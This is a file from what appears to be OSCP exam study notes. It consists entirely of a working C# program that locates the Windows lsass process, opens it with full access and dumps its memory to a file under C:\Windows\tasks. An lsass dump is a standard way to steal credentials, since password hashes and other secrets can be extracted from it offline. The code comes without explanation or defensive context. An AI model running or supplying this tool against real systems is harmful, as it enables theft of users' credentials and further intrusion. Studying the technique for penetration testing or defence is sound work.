oscp/Necronomicon/Programming/CSharp/Minidump.md

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;

namespace Minidump
{
    class Program
    {
        [DllImport("Dbghelp.dll")]
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);

        [DllImport("kernel32.dll")]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
        static void Main(string[] args)
        {
            // Create instance of Process class and use Id method to get PID of lsass

            Process[] lsass = Process.GetProcessesByName("lsass");
            int lsass_pid = lsass[0].Id;

            // Get handle to lsass

            IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);

            // Create new file stream to which to write dumpfile

            FileStream dumpFile = new FileStream("C:\\Windows\\tasks\\lsass.dmp", FileMode.Create);

            // Execute dump and write to file

            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
        }
    }
}